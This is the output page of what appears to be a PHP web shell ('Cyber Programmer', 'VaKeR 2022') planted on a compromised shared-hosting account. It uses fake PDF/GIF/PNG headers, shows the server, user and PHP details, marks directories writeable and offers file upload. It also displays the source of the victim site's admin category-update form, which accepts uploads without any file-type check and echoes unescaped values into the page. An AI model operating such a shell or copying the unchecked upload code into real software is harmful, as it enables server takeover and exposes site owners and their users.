%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_6ca89795/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_6ca89795/admin/productcategoryupdateform.php
<?php
session_start();
if (!isset($_SESSION["username"])) {
    header('location:../admin.php');
    exit();
}

include('header.php');
include('../dbcon.php');

$sid = isset($_GET['sid']) ? intval($_GET['sid']) : 0;

if ($sid === 0) {
    echo "<script>alert('Invalid ID'); window.location.href='productcategoryshow.php';</script>";
    exit();
}

// ✅ FETCH DATA
$sql = "SELECT * FROM `arawecovercategory` WHERE `id` = ?";
$stmt = $conn->prepare($sql);
$stmt->bind_param("i", $sid);
$stmt->execute();
$result = $stmt->get_result();

if ($result->num_rows === 0) {
    echo "<script>alert('No record found'); window.location.href='productcategoryshow.php';</script>";
    exit();
}

$data = $result->fetch_assoc();


// ✅ UPDATE DATA
if (isset($_POST['update'])) {

    $id = intval($_POST['sid']);
    $category = $_POST['category'];

    // IMAGE UPLOAD
    if (!empty($_FILES['catimg']['name'])) {

        $catfile = time() . "_" . $_FILES['catimg']['name'];
        $tempfile = $_FILES['catimg']['tmp_name'];
        $filepath = "dataimg/" . $catfile;

        move_uploaded_file($tempfile, $filepath);

    } else {
        $catfile = $data['catimg']; // old image
    }

    // UPDATE QUERY
    $update = "UPDATE `arawecovercategory` 
               SET `category`=?, `catimg`=? 
               WHERE `id`=?";

    $stmt = $conn->prepare($update);
    $stmt->bind_param("ssi", $category, $catfile, $id);

    if ($stmt->execute()) {
        echo "<script>alert('Updated Successfully'); window.location.href='productcategoryshow.php';</script>";
    } else {
        echo "<script>alert('Error: " . $stmt->error . "');</script>";
    }
}
?>

<!-- UI -->
<div class="content-wrapper">
    <div class="container">
        <h2>Update Product Category</h2>

        <form method="post" enctype="multipart/form-data">

            <!-- CATEGORY -->
            <div class="form-group">
                <label>Product Category</label>
                <input type="text" class="form-control" name="category"
                       value="<?= htmlspecialchars($data['category']); ?>" required>
            </div>

            <!-- CATEGORY TYPE DROPDOWN -->
            
            <!-- IMAGE -->
            <div class="form-group">
                <label>Category Image</label>
                <input type="file" class="form-control" name="catimg">
                <br>
                <img src="dataimg/<?= $data['catimg']; ?>" width="120">
            </div>

            <input type="hidden" name="sid" value="<?= $data['id']; ?>">

            <input type="submit" name="update" value="Update" class="btn btn-primary">
        </form>
    </div>
</div>


            <!-- / Content -->

            <!-- Footer -->
           
            <!-- / Footer -->

            <div class="content-backdrop fade"></div>
          </div>
          <!-- Content wrapper -->
        </div>
        <!-- / Layout page -->
      </div>
    </div>
    <!-- / Layout wrapper -->

    

    <!-- Core JS -->
    <!-- build:js assets/vendor/js/core.js -->
    <script src="../assets/vendor/libs/jquery/jquery.js"></script>
    <script src="../assets/vendor/libs/popper/popper.js"></script>
    <script src="../assets/vendor/js/bootstrap.js"></script>
    <script src="../assets/vendor/libs/perfect-scrollbar/perfect-scrollbar.js"></script>

    <script src="../assets/vendor/js/menu.js"></script>
    <!-- endbuild -->

    <!-- Vendors JS -->

    <!-- Main JS -->
    <script src="../assets/js/main.js"></script>

    <!-- Page JS -->

    <!-- Place this tag in your head or just before your close body tag. -->
    <script async defer src="https://buttons.github.io/buttons.js"></script>
  </body>
</html>

VaKeR 2022